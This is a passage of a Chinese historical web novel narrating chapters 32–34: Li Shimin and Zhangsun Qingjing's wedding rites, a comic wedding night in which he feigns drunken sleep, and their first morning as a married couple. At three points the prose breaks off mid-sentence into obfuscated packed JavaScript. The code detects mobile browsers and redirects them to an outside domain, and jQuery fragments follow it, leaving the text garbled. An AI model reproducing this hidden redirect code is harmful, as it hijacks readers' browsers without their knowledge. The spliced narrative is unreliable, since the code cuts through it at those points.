作为家中最性格最像母亲的女儿,李琼曦深谙越到此时,母亲越不允许家中有人自乱阵脚,也不准有人将病情告知二弟,必得一切尘埃落定才肯安心养病。 母亲这种酷爱逆天而行的性格似乎是与生俱来,为了填补父亲优柔寡断的缺陷而生的。 李琼曦头痛欲裂,习惯性地捋了一下整齐的鬓发,把不属于嘉礼的情绪先抛到一边,用清脆愉悦而又爽朗地声音招呼充当卺童的两个孩子:“承宗、令武,不要再数钱串了,把石蜜糖吐掉,捧好铜镜、葫芦和酒壶,你们叔父和婶母,舅父与舅母要行合卺之礼了。” 李承宗和柴令武应声放下撒帐钱,鼓着腮帮咀嚼石蜜糖匆匆下咽,雀跃着跑到姑母和母亲身边。 李世民与长孙青璟依次拜过天地、父母、媒人和众宾客,最后行互拜之礼。 两小儿奉上铜镜,夫妇二人在镜纽处共同绾上同心结,因为太过紧张,丝线从纽孔中滑落数次,急得围观众人恨不能替他们动手。 在一片善意的笑声中,慌乱的新人指节轻轻碰撞,有一种被灼烧的酥软与激动。 两人将笏板与团扇交给旁人,又一次手忙脚乱穿线挽结。 “你拿稳了,别乱动。”长孙青璟有些不耐烦地命令道。轻纱里的桃颊已经涨得通红,烧得滚烫。 “好。”李世民点头应道,双手持镜,腰弯得更低,任新娘花冠上的博鬓与覆笄划痛了他的面颊。 “不要抽绳!”长孙青璟压低了声音呵斥。 “好,好。”被掐出指甲印记的手指瑟缩着回到铜镜边缘。 两个孩子从未见过自己叔父舅父与女子相处时有如此好的忍耐力,不禁调皮地相视憋笑,惹来李世民的嗔视。 长孙青璟在镜纽下打上两个活结,吩咐李世民收紧一头,自己拉紧另一头。 两人终于磕磕绊绊地完成了永结同心的誓约。 李承宗与柴令武向着亲友高举铜镜,向宾客展示同心结。 在一片欢腾声中,新郎面东而坐,新娘面西落座。 两位新人先同牢共盘,同尝一份肉食。漆盘中的匏瓜已事先被分成两个瓢,以红丝带相系。 李琼曦将匏瓜的两半分别斟满酒,由两位卺童分别呈送新人。 两人相互敬酒,苦酒醉人,双方想要捕捉对方的目光想要又如惊弓之鸟般刻意躲闪。 平日的梳洗侍女为二人各剪下一绺长发,结发合髻,预示二人血脉相连,成为新的亲人。 这个意气风发的少年从此成了她的亲人,某种程度上说是她自己选择的亲人。 长孙青璟被自己离经叛道的想法震慑住,收拾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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从儿子坦诚恋情那一刻起,这个少女的经历以及所为都不断地唤醒窦氏关于那些温情的、愉悦的、无奈的、悲戚的、抗争的往事的记忆。 高擎的烛花跃动了起来,应和着青庐中欢腾的气氛,小小的烛焰爆裂出一连串璀璨的星子。 长孙青璟想起了永兴里那个纵马蹈火而来的小郎君,想到那个徒手碎核桃逗她开心的男孩,那个在云波诡谲的东都艰难求生时还记得为自己求字的少年,想起那个在父亲坟墓前发誓护她一世周全的少年——他们本不再会有交集,可是命运就这样把她阴暗的人生撕开了一道裂缝,从缝里漏进了炽烈的阳光。她就顺着这道光被牵引而出。 李世民想起了永兴里那个被恶兄软禁而偷偷放飞传讯白鹞的女孩,那个获救后没有哭泣只是和他分核桃吃的女孩,那个他在紫薇城惶惶不可终日时用信笺安抚他的少女,那个宁可与养父同去岭南也不愿苟且偷生的少女——他们差点不再有交集,可是命运依然眷顾他,把他带到那一汪深不可测的湖水边。他就这样义无反顾地跳了进去,捞取池底无尽的玉石。 她害怕自己无处承受那样滚烫的阳光,这些火焰的影子终将因她的冥顽失望而归。 他害怕自己无法穷尽那些随侯珠荆山玉,那些遗失的珠玉将在混沌中怨怼终身。 李世民尝试着向长孙青璟伸出手:“长孙娘子,安和好在。” “好在。”她也回应了他欢迎自己到达新家的热忱。 传席、撒帐、交拜、合卺、合髻,却扇——新人终于执手并立。 32. 花烛 众人便在青庐内观花烛、弄新妇。 一时杯觥交错,人声鼎沸。 新郎新娘边进入席间与亲友正式相见攀谈。 席间有人盘诘二人婚前是否私会,有人问询新娘最爱的到底是那首诗,年轻女眷问及长孙青璟会否骑射,以后出行好作伴;年长者担心明日拜舅姑是否顺利,问起新娘是否准备鞋履。 长孙青璟一一作答。 突然羯鼓声三下,全场寂然无声。 体轻无骨的柘枝伎自帷幔后腾跃进入青庐的中央,红色窄袖罗袍勾勒出舞者健硕有力的身姿,卷檐帽上的铃铛随着鼓点清脆鸣响,紫色的垂带随着婀娜的腰肢在空中流转如风。 宾客们正被柘枝伎妩媚的秋波勾魂摄魄,拊掌喝彩无心他顾之时,窦夫人与长亲们一一作别,由四娘李陇月搀扶离场。 嘉礼当晚,本来就是年轻人的狂欢,新婚第二天才是新妇见舅姑及全家的大礼,第三日庙见拜过祖先之后算正式完婚。 长辈们若不想在今夜被年轻人的啰唣疯狂吵嚷得头痛,也不想对这些无状的言行横加阻拦,回避也不失为一个妥帖体面的、两不相干的好办法。 柘枝舞后,蜡烛还未燃过半。借着酒兴,女眷们拉着长孙青璟投壶博塞,男宾们则硬扯着李世民击剑角抵。 满庐年轻人且戏且歌,全无平日章法。 花烛燃过半时,已近中宵。宾客们相互叮嘱带好“过所”,拜别新人而去。 精疲力竭的二人望着青庐内倾颓的杯盘与满地的狼藉,不禁感慨成家不易。 浮华过后,倦意袭上心来,蔓延到胸口。 一想到睡觉,二人均被一个激灵惊醒。 “公子,娘子,郎君与夫人嘱咐二位早些休息。夫人还说,公子年纪大些,理应多照应新妇,不可任性妄为。”李世民的乳母刘娘子受窦夫人之托,上前叮嘱二人。 “哦,哦,那是自然。今日催妆时我可有耐性了——又吟诗,又弹琵琶,又唱歌——她还支使一群族兄弟拿竹杖打我,拿酒灌我,我都没还手……”面对乳母不可置信的怀疑目光,李世民笑道,“阿嬭,你不要小觑我。不信你问长孙娘子。——哦,我想起来了,结镜纽时她嫌弃我手拙还掐我,我都没抱怨,阿嬭你看,她指甲掐出的血印还在我手上。我今天可、大、度、呢!” 说罢,李世民孩子气地伸手给刘娘子看。 “是哦,大惊小怪的,再迟些我都看不清你手背上有划痕呢!”刘娘子打趣道。 长孙青璟低头无言,假装摆弄青色婚服那红色袖缘的花纹,不去理睬那些疯言疯语。 “夜露深重,炭火只剩余烬,百子帐内不可再久留。娘子随奴婢去认一认新房。”刘娘子引路,阿彩执烛笼,一路径向新房而去。 新人疲沓至极,呵欠连连。 刘娘子向长孙青璟道:“夫人也令奴婢转告长孙娘子,今夜娘子尽管安睡,不必担心明日与舅姑相见一事。明日辰时,照例由阿彩姑娘唤醒娘子,为娘子梳洗,一切依高家旧例。巳时之前陪舅姑简单用膳即可。” 长孙青璟轻轻点头,感念窦夫人为人仁厚,并非喜爱肆意立威的刻薄主母。 李世民靠近她,轻轻牵动长孙青璟的大袖,两人袖缘相叠,指节摩挲。 与婚礼上程式化的公开的执手相较,这种私密又抑制的暧昧令长孙青璟心旌神驰,冬夜里冰冷的纤细的骨节似乎要融化在涌动着热血的手掌中。 灼烧的、刺痛的战栗从指尖透过肌肤,贯通血脉瓦解她清醒的意识,抚触她孤独的灵魂。 当她的意志即将屈服于这种裹挟一切的不可抵挡的力量时,暗黑的天忽闪了一下,落下一滴清冷的泪。 她的手指从他的掌心中逃脱,即将升温的灵魂瑟缩到安全的角落,不再响应炽热而痛苦的战栗。 长孙青璟将双袖相拢,左右手交握、相攥、挤压,企图给自己增加一点对抗无助的力量。 通往未来的路太过漫长,晃动的烛笼绕过数个回廊与院落之后,微弱的橙光便湮没在一片明亮之中。 婢女们为新人打开帘帷,内室中烘瓶炭火正旺,榻上帷帐左右各悬着鎏金双蛾熏球各一。 安息香的甜美低沉的味道萦绕在周身。 “来人,为公子去衣、为娘子除花。”刘娘子吩咐婢女道。 “且慢!”长孙青璟与李世民异口同声拒绝道。 长孙青璟甚至有一种被抢了话的错觉。两人尴尬地对视一番后,阿彩扶长孙青璟在镜台前坐下,主仆相对无言,只好对着铜镜发怔。 妆奁中盛满了簪、钗、金银梳、步摇,一半是旧时器物,一半是新添置的款式。 “公子,已是中宵!”刘娘子也猜测两人拘谨局促,有些扭捏。 催促新娘安睡似乎有失礼节,她便对新郎使着眼色。 “阿嬭,我今日酒饮多了,头迷糊得很。先是迎亲是被她家亲戚挨个敬酒罚酒,再次是合卺之后被自家亲戚刁难捉弄,还有——”他突然指着长孙青璟道,“我没见过六博棋下得比你更差的人!” “那是我掷骰子运气太差!”长孙青璟从铜镜面前转过脸,没好气地反驳。 刘娘子一时搞不清这两个孩子为什么从不愿意同房牵扯到了博塞。 “所以呢,你被姑嫂们罚的酒我全替你喝了。娘子,你是一个谢字也不提呀!” “这倒也是。”长孙青璟有些感激李世民为自己化解窘局,便玩笑似地向他长揖致谢,“阿嬭为证,我已谢过公子。” 刘娘子有些无奈,静看二人闲扯些荒诞不经的话题。 “我晕得很,稍一动弹便头痛欲裂。”说罢,李世民特意在镜台几步处坐下,扶额喊了几声有恙。 “阿嬭,你一定准备解酒汤了吧?我喝几口饮子便不晕了。” “好,我去准备丁香饮。”刘娘子觉得李世民所说也并非虚言,宾客们观花烛弄新妇之时,她确实亲见这不善饮酒的倔孩子寸步不退,强撑着与人把酒言欢,又护妻心切,为新娘挡罚酒。现在酒劲开始发作,惹得她这个乳母心疼至极。 “莫睡着,睡死过去就没饮子可喝了。”刘娘子说罢叫上几个服侍主人就寝的婢女退至外间。 长孙青璟也向阿彩道:“你也先歇息片刻,我陪公子说说话,醒醒酒。” 阿彩看了看在座两人,踌躇片刻,便在长孙青璟耳边窃窃私语:“妆奁最底层有画轴……” 长孙青璟忙碌一天,颇为劳累,也听不真切,只道是提醒自己明日拜见姑舅时所用首饰,比起熬过今晚的窘境似乎还轻松一些。 她也未追问清楚阿彩所说究竟为何物,只顾敷衍道:“知道知道,你歇息去吧。” 卧室内刚剩下二人,李世民便开始不耐烦地拔下冠冕上的簪导,解下玄缨。 长孙青璟警觉地望着他:“你做什么?” 李世民被少女惊恐而尖锐的鸣爆声弄得错愕不堪,两手搭在下颌附近的系带上停滞了片刻。 “别胡思乱想。”李世民把爵弁放在身边,指着在冠冕中闷了整日的头发道,“我热了凉,凉了热,出汗,风干,再出汗,现在满头酸臭,这屋子快被烘瓶烤焦了,我不摘爵弁戴着安寝吗?不信你闻闻。”说罢他将黑色爵弁倒置递到长孙青璟面前。 长孙青璟“哼”了一声,捂着口鼻转过头,双膝往相反方向挪了并不明显的距离。她对着铜镜,摘下礼冠,露出毫无钗钿装饰的同心髻。她本想让李世民认一下她额间的花钿,又觉得此举过于轻佻,便直接揭了下来。 长孙青璟又执起贮存面脂的银盒,贴近烘瓶回暖片刻,拿起绢丝蘸一些油脂,开始擦除胭脂、额黄与铅白。少女吹弹可破的肌肤逐渐取代了厚重的浓妆。 两人沉默不语。李世民面无表情地看着小妻子支走婢女,笨拙地自行卸妆,好奇地问道:“你就准备这样坐到明日辰时?” 长孙青璟默不作声,几绺散发落在肩头,有种不事雕琢的纯真与娇憨。 她带着满脸油脂望着李世民,不置可否地说道:“我也累了——刚才是谁想出喝丁香饮馊主意的?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041811|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你自己不想除钗钿,我便帮你找借口。真是不识好人心。”李世民觉得一和眼前这伶牙俐齿的女孩子争论,腰间革带便勒得难受。他下意识地将双手搭在腰间,意欲解下革带。 长孙青璟如惊弓之鸟般“腾”地起身,质问道:“你手放在何处?”行障与帘帷外传来婢女隐隐的笑声。她一时羞愤难当,站也不是,坐也不是。 李世民叹口气,翻开手掌,举到胸前,没好气地回答:“我很守规矩,双膝都没离开茵褥,也没偷看你除花钿。你可好好说话。还有,我的手放在我自己的腰间,不在你的腰间,你管得着吗?” 长孙青璟偷瞥了李世民一眼,又默默坐回镜台前。李世民只得随便抱上一个手炉,瞪着地板发愣。他突然抬头,试探着问道:“你母亲有没有给你一个小画轴,嘱咐你今晚才打开的?” “什么画轴?我阿娘没说过。”长孙青璟奇道。 “这个嘛,说来话长。”李世民放下手炉,指着妆箧道,“你要不要翻看一下?” “那个画轴,你有吗?” “我用不着。”他的目光游移到了窗外。 “那卷轴上画的什么?” 李世民挑了挑眉:“你真想知道?” “嗯。”长孙青璟点头。 “就是……衡门之下,可以栖迟。泌之洋洋,可以乐饥……那种……情形……”他吞吞吐吐地解释,言辞含糊,目光躲闪。 长孙青璟琢磨着《陈风衡门》的言外之意,突然蹙紧了柳眉,开始在镜台上寻找称手物件。 她右手越过一堆容易刺出血的簪钗,容易砸伤人的镇纸熏炉,执起和嫁妆同时事先送来的《妍神记》,向李世民甩了过去。 那卷轴在空中慢悠悠地转了几个圈儿,已经忘记了教训人的初衷。 李世民伸手,稳稳接住《妍神记》,恶作剧似的说道:“我正经背诗,你想到哪里去了?何至于发这么大的火!” “我从没听人把一首褒扬夫妇同甘共苦的诗歌念得像你这样——这样——不正经!”青璟气急败坏,以至于找不到贴切的言辞去形容对方调笑的无状。 “哦,说得好像你自己天天看正经书一般!”李世民举起《妍神记》晃了数下,“那个烧书的疯子皇帝能写出什么经世济国的锦绣文章?” 见长孙青璟嘟着嘴,李世民不再逗她,只是开诚布公:“你要是害羞,我也不再勉强。说实话我也有一种私密之事被人偷窥议论的古怪感觉。我保证循规蹈矩,不冒犯你。只是今晚,还望你助我掩饰过去。” 他将《妍神记》放归镜台,谨慎地坐在与长孙青璟相隔几步远的地方,柔声说道:“不如把所有责任揽到我一人身上,免得下人多嘴,家人为难你……” 他拿起镜台上揭下的鲥鳞牡丹花钿,放在掌心,细细摩挲,有种趑趄不前的犹疑。蓦地,李世民放下花钿,鼓起勇气问道:“观音婢,你应该不讨厌我吧?你可信得过我?” 她吃惊地望着他真诚的笑脸,先摇头,之后又羞赧地点头,随即俯首摆弄首饰。 李世民轻轻拨开垂地帘帷的一角,数道:“一、二、三、四。” “你数数做什么?”长孙青璟跑到他身边问道。 “你声音轻一点啊。”李世民将她按回镜台前,“我阿娘给我安排了四个婢女,你又带来一个,再加上刘娘子,一共六个,今晚这六个人就这么陪着我们……” “陪我们作甚?”长孙青璟差点惊叫起来。 “侍候我们睡觉啊!还能陪你喝酒吟诗吗?”李世民将手掌拼命下压提醒她不要高声说话。 “你身上酸臭酸臭的,离我远一点。”长孙青璟毫不留情地说道。 “你怎么不问问你的从兄弟表兄弟是怎么礼待我的?”李世民突然也捂着鼻子道,“你卸妆的胡麻油没擦干净,当心猞猁半夜来舔……” 长孙青璟举起一根发簪假装要扎他,却从缝隙间看到外屋五个婢女正等待他们就寝,一下子就泄了气。 “你说,怎么把她们支开?” 33. 破局 “你说支走就支走——我、不、要、面、子、的、吗?”李世民一字一顿道,“把人都支走了,她们还不更好奇?背后不知道嘀咕些什么?谁知道明天刘娘子会在我阿娘跟前如何添油加醋?” “对不起。”长孙青璟不再催促,只是低头揉搓着牡丹花钿,舍不得丢弃。 “我心乱如麻。年幼失怙,我母子三人成了全长安的笑柄,被人恶意揣测还于舅家的因缘;本以为蔬水箪瓢,聊以卒岁,不料舅父突遭贬谪,家道中落。舅父欲护我周全,将我托付于叔父,我不计后果从叔父家出逃。此种乖张举止又令宗族蒙羞,外人更要议论我疯癫不成体统。我本已如丧家之犬,蒙公子不弃,施以援手。本当衔草结环以报……只是——只是——” 她多想把自己百结的愁肠全部打开、展平铺陈在李世民的面前,令他看清自己的混乱的内心。 她一方面担心李世民只是一时义愤,不忍高士廉与无忌有后顾之忧才四处找寻她;另一方面又怀疑他只为不堕名节,不遭人耻笑,才有此侠义之举;他的性子,确是特立独行,就像一个纯真率直与渊图远算的奇怪混合体,令她捉摸不透。 倘若此时李世民挟德相迫,她似乎也只能乖乖就范。 “你——只是害怕?”烛火倒映在李世民的眼眸中,炙热而又轻盈。 长孙青璟垂眸,默认。她害怕那道牵引她离开黑暗的光突然弃她于不顾,留下她独自面对幻梦初醒后的虚妄与苦痛。 “其实我也觉得我们像两头被关进笼子的獠,挺不自在的。”李世民心有戚戚焉地蹙眉道。 “你的方比——真是既粗鄙又贴切。”长孙青璟咋舌道。 “承蒙夸赞,不胜荣幸。我脑子里还有一些奇思妙想,你想知道吗?” “不想。”她制止了他酒后不受约束的天马行空的表达欲。 “我不会变的。”李世民顿悟似的承诺道。他将茵褥向青璟移近些许,想与她细谈。“总之,我向高先生、无忌许诺照顾你一事决不食言……” 廊间突然传来婢女与刘娘子的说笑。 “你的丁香饮到了。”长孙青璟指着窗棂道。 “也罢,这面子的事情明天再说……我先睡了,你随机应变。——还有,你那满脸猪油还是胡麻油面脂真是丑死了。记得洗一下。” 说罢,他便抽身离去。青璟来不及瞪眼,也无暇弄明白如何应变,李世民已合衣倒在榻上。 待到刘娘子与阿彩回到寝室,李世民躺在榻上鼾声大作时,长孙青璟才弄明白随机应变的深意。 “唉!这孩子方才还吵嚷着要喝解酒饮子,怎么须臾间就睡死过去了?”刘娘子既无奈又心疼,望向无人照看的新娘长孙青璟,又望着本该进屋侍候新郎新娘的婢女们,似有责备之意。 “是啊,真是始料未及。我们方才还在谈论那个柘枝舞女呢?公子说他在洛阳见过更精彩的双柘枝,舞女自莲花中化生,精彩纷呈,不似人间所有——” 长孙青璟东拉西扯了一通,试图自圆其说,开始继续胡编乱造,“我们说定,元正之时去洛阳看柘枝赏胡腾。我又问了公子舅姑爱吃些何种佳肴,也好在下厨时试着做一点。他也问我平日是否陪家中长辈看歌舞戏与合生……我们正说在兴头上呢,公子突然说头晕得厉害,刚回房时还只是觉得地板微颤,此时一睁眼便是天旋地转,再也撑不到解酒饮子送来了。我正准备催促阿彩看看丁香饮做好了没有,未料公子挂念了几句见舅姑与庙见事宜,就合衣睡去了……” 她说得有理有据有细节,由不得刘娘子不信。 刘娘子正为明日如何向窦夫人禀告花烛之夜新郎醉死将新娘撂在一旁之事发愁时,李世民的嘴角轻微上扬了一下。 长孙青璟捕捉到这转瞬即逝的笑意,一边恼恨他中途退场丢下她独自一人演完这出戏的无耻,一边对他狗急跳墙的急智忍俊不禁。 “这可如何是好?”刘娘子试图摇醒这个从小带大的孩子,但是任她呼喊揉捏,又如何叫醒一个执意装睡的人。 刘娘子叹口气,回身看了一眼长孙青璟满脸卸妆面脂,示意阿彩侍候娘子洗漱更衣。 长孙青璟心中忸怩,却不敢再找借口抗拒,只得老老实实坐在镜台前。 她突然瞥见铜镜中自己满脸斑驳的残妆和零星发白的油脂,确实如李世民所说丑陋而滑稽。 她面对铜镜哑然失笑,刘娘子险些弄洒了丁香饮,阿彩也手中的鱼洗也险些滑落。 青长孙璟接过刘娘子殷勤递上的丁香饮,只觉得味道比鲜于夫人调制的更加浓郁刺鼻,算不上她喜欢的口感,但仍旧一饮而尽,夸赞了几句:“阿嬭费心了。” 阿彩将一块葛布对折放置于一方小几上,又将金色鱼洗放置在葛布之上,稍微浸湿双手,以掌摩擦铜洗双耳,细小的水珠便均匀地从铜盆的周边喷溅而出。 长孙青璟俯首,温热地水珠打湿了脸庞,她接过阿彩递来的澡豆,将满面油脂残妆清洗干净。红桃一样的脸孔终于显现出它本来的模样,巾帕轻拭,烛光摇曳,面颊白色细微绒毛上零碎的水珠,倒映着星空里漏下的微芒。 阿彩又在刘娘子催促下为长孙青璟除去青革带、蔽膝、大带、青衣连裳婚服,拆解同心髻。 微卷的长发像顽皮的柳枝般散落在两肩。长孙青璟只着白色深衣,有些呆傻地坐在茵褥上,不知所措地摆弄着发梢。 刘娘子私底下也听李渊、窦氏、四娘诸人谈论起这位长孙娘子,知晓了这女孩命运多舛,年幼丧父,惨遭异母兄长遗弃,而今养父又卷入谋反案中被贬官到说不出名字的蛮荒之地。 窦夫人却赞她虽偶有乖张之举仍不失仁孝本性。今日又亲见她在嘉礼上不失端庄又落落大方,不禁爱屋及乌,多了几分怜爱之意。 她取过巾帕,细细擦拭青璟额前湿发,耳垂下的水迹,为她披上短襦,又将烘瓶移近青璟,嘱咐外间侍女添炭火。 室中三人一时相对无言。长孙青璟终于尝试着开口:“阿嬭,阿彩,今日你二人劳顿费神,我与公子感激不尽。想来今日二位已不堪重负,都尽早安置,我与公子才能放心休息。” “公子心宽,才不在意我这乳母。”刘娘子说得无拘无束,却丝毫没有抱怨之意。 阿彩偷窥了一眼在榻上四仰八叉的郎君,他抿着嘴唇强行抑制嘴角高翘的弧度。 “长孙娘子,不如这样,令阿彩姑娘协助娘子为公子除去吉服,奴婢一来也好安心休息,二来明日夫人问起,我也方便敷衍。”刘娘子到底还是心疼李世民,不愿任由他被一身厚重礼服束缚着就寝。 长孙青璟愣怔片刻,双手不自觉地握在一处,尴尬地回答:“是啊,阿嬭说得极是。”说罢,她强拉着阿彩,踟蹰着走向榻边。长孙青璟跽坐于卧榻边,与阿彩面面相觑。 她拼命向阿彩使着眼色,阿彩故意借整理衾枕磨蹭着不动手帮忙。长孙青璟无奈,只得故作镇定,羞赧着靠近装睡的李世民,闭眼触碰到钩?。 李世民故意呓语、咳嗽、翻身,吓得长孙青璟缩手后退。 她背着刘娘子对着丈夫龇牙。阿彩掩口轻笑,她冲着幸灾乐祸的贴身婢女亮了一下弯曲的五指虚张声势,阿彩便憋着笑上前解钩?。 两人使劲扯了半天,榻上之人纹丝不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041812|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,充满了恶意。长孙青璟心中羞恼至极,使劲掐了李世民腰侧。 “快演完了,不准添乱。”青璟低声威胁。 对方换了个卧姿,青璟取下钩?革带交给阿彩,又陆续解下蔽膝、纁裳、大带、青衣,最后以鸳鸯锦褥覆于其身。 长孙青璟在刘娘子面前不敢造次,刻意营造善解人意的形象,体贴地为夫君掖好被角,引得刘娘子下意识的微笑、颔首。 刘娘子与阿彩陆续吹灭花烛,只在长孙青璟身侧留一座高脚灯檠,为新婚夫妇放下红罗帐,确定诸事万全才安心离去。 烛火明灭,忧郁而暧昧。熏球发散出沉郁通透的气息,轻轻袅袅扑入长孙青璟的口鼻。 长孙青璟抱膝在床沿坐了许久。烘瓶中的炭火终究承受不住仲冬将尽时的寒凉。她躲回寝帐之中。 外隔间的婢女们的人影与声响也消歇了。 长孙青璟轻轻戳了戳横亘在榻上的丈夫。 “喂,人都走了,你让让。” “别装睡,快起来挪地方。” “臭死了,不准沾在我枕头上!”长孙青璟双手合十,故作虔诚地拜谢道,“持国天王你老人家行行好,我知道你为了我用心良苦,现在麻烦你动一动尊身去那头可好?” 她穷尽了口舌,终于也不管李世民是装睡还是真睡,直接掀了他的锦被,使出浑身解数将他推到一边。 长孙青璟自己裹了鸳鸯被,背对丈夫躺下。 换了地方换了卧榻,青璟有一种疲惫不堪又烦乱难以入眠的奇异感觉。她的思绪,时而清明时而混沌。回想今日亲迎,下婿,催妆,障车,直到入青庐,撒帐,交拜,合卺,却扇,只感觉浮于云端,终究缺乏履于平地的坚实之感。 长孙青璟的手指突然触摸到一团柔顺的绵软的如同丝麻的物事。她警觉地从锦被中拿出这个异物。凑近将烬的烛火,却是缠绕着红丝线的两绺头发。 这应当是从李世民的吉服中掉落的。 她也弄不清这个行事潇洒恣意的少年是什么时候将这两绺结发小心收藏的。 长孙青璟有些惆怅,也有些感激。无论她有多少犹疑,她终究觉得李世民是一个可以依靠托付的人。 无论他自己决定的这场婚姻中有多少道义的抉择、冲动的因子、情窦初开的莽撞,他的责任心与对未来的期许是毋庸置疑的。 他们是彼此在独立清醒状态下相互选择的亲人。此刻,这就够了。 “你把头发还我……”枕边挨冻的少年突然咕哝了一句。 长孙青璟吓得一跃而起,不知如何应对两人清醒时同榻而眠的窘境。 她瑟缩到卧榻边沿,警觉地望着被抢走了锦被的丈夫。 “把合髻还我,小劣女……”李世民含含混混地说着。 长孙青璟探身过去,确认他只是说着梦话,才松了口气。 “小气鬼,梦里还说我坏话!”她瞪了李世民的背影一眼,展平手掌将合髻轻轻推进对方枕下。见他梦中也因寒意拱肩缩背,长孙青璟陡然生出歉意,便舒展锦被两人各分一半。 窗外寒虐风饕,帐内涩然同榻。两人虽说相背而眠,却相距甚远。有顷,李世民回暖过来,身体舒展,宽阔的肩胛抵上了青璟纤细的脊背。青璟初时抗拒不已,反手推开这堵温暖的墙。不到几个回合,寒冷迫使她与他后背相抵。暖意通过两人的深衣传导至青璟周身。 榻边的花烛迸裂出熄灭前最灿烂的银珠碎玉,垂落感慨的蜡泪,凝固在金色灯檠之上。 长孙青璟随即沉沉睡去。 眼前的一切并非不美好,只是太过陌生。 34. 舅姑 晨钟初起。 安息香的味道还未散尽。 对于长孙青璟来说,钟声、宿雾、群山,是寻常所见所闻,又是新家奇异景致;是熙攘的烟火,又是清修的发端;是单调的声音,又是繁杂的振荡;是虔诚的信仰,又是诡谲的序幕。 堵塞新房户牖的枲麻已被婢女们除去,朝晖与竹丛鎏金镶翠的光透过缝隙在镜台上绘出明澈交错的纹样。 “醒醒,辰时到了。”长孙青璟坐在榻前,手持一根发簪,轻轻敲打李世民的脸庞。 少年一脸茫然地坐起来,见到眼前随意披着胡服御寒的少女,有些惊惶与诧异。 他随即对眼下的情形适应了片刻,才回想起昨天的婚礼。 “你的蜻蜓双翼沾我脸上了。”李世民将从长孙青璟脸上掉落的、又顽固附着于自己脸庞之上的蜻蜓翅膀小心捻起,放置在她膝头。 “这是什么奇怪的花钿?你们这些小娘子怎么把金箔、鱼骨、鱼鳞、鸟羽、蝉翼都往脸上贴?”李世民环视房间,两腿落地,笑问道,“我昨晚醉得不省人事。依稀记得是你毛手毛脚为我除下婚服,后面的事情就记不真切了。你昨晚睡哪里了?地板上?” “哼。村气!”长孙青璟回避着那些令人脸红的不正经问题,收起新潮的花钿,坐回镜台前。“是啊,我做了好多噩梦呢,梦里有一只臭气熏天的、毛色零落的鬼车鸟,生生把人挤到墙根。它九只眼睛睁开,九只眼睛闭着,打呼噜的声音就像车轮碾过我头顶。” 李世民哈哈大笑起来:“可巧了,我也做梦了。梦里有一头无理取闹的猞猁,又是抢我衣服,又是夺我宝珠。最后在雪地里冻得瑟瑟发抖,只得勉为其难钻到我怀里,真是又顽劣又孤傲又可怜,令人无可奈何呢!” “谁钻到你的——”长孙青璟的胸口充溢了怒气,努嘴忍住争辩之心,“真是恬不知耻!赖得搭理你。”她拿起剪刀,设想贴在额间新式的纹样,一时毫无头绪。 刘娘子与众婢女已经静候多时。听得房内声响渐起,似调笑,似吵嚷,料定李世民与长孙青璟已醒,众人便向新婚夫妇问安。 侍婢们揭开重帷,侍候郎君与娘子洗漱。 刘娘子满口含笑,客套地问及长孙青璟昨夜是否安睡。夫妇两人异口同声称善。 阿彩替长孙青璟褪下清晨转醒时随意披搭在身上的胡服,换上半袖绿襦衫,下配石榴裙。比昨日婚礼正日时松爽了不少。 两个十三四岁的少女开始争论今日见舅姑时梳何种发髻。 “鲜于夫人和高夫人都说云朵髻稳重。”阿彩执着银梳,将义髻、榆木刨花水置于镜台之侧。 “我不喜欢云朵髻。”青璟保持着少女的倔强,抗拒这这种以端庄稳重不出错知名的发型。 “阿彩,你怎么不问我?我替你们出主意。”李世民已经换上红色圆领襕衫,束好蹀躞带。他好奇于关于发髻的争论,忍不住向这个妻子身边的聪明婢女发问。 “公子哪里懂这些?”阿彩斗胆回答道,“娘子又使性子不听高夫人和鲜于夫人的话。” “可是我懂我母亲啊!”李世民笑道,“我母亲应该就喜欢长孙娘子这个活泼有见识的样子。不用刻意装得老气横秋讨好她。听我的,不会出错。” 两位少女的脸庞都明亮起来。 “惊鹄髻!”长孙青璟与阿彩异口同声道。 她们一个擅结此髻,一个偏爱此髻——两人一拍即合。一个饱满的、轻盈的、如天鹅振翅欲飞的惊鹄髻须臾间便盘结在长孙青璟头顶。 阿彩接着为长孙青璟接着敷粉施朱,将蜻蜓翅膀描金后裁剪为兰花状贴于额间。 婢女为李世民束好幞头。 夫妇两人并肩坐于镜台前,侍婢各执一面铜镜于二人身前。 长孙青璟自镜中偷窥李世民。稚嫩的喉结由粗重、紧张的呼吸牵引到白色深衣领口上方,微红的血脉就在这紧绷的皮肤后涌动着。 她觉得自己逾礼了,香靥凝羞,低头摆弄帔帛。李世民突然转头,有些兴奋地凑近青璟,指着嘴唇上下令她细看。长孙青璟愣了半刻,终于会意,笑着说道:“有一点点髭须,须得十分仔细地看。” “你真能看清?那么淡吗?”少年既欣喜又失望,喉结随着急促的气息在血脉之间颤动。 长孙青璟抿嘴点头,额间的蜓翼泛着通透的金光,像狡黠少女一半娇嗔一半挑逗,一半假意一半真心的情话一样蛊惑他的眼睛。 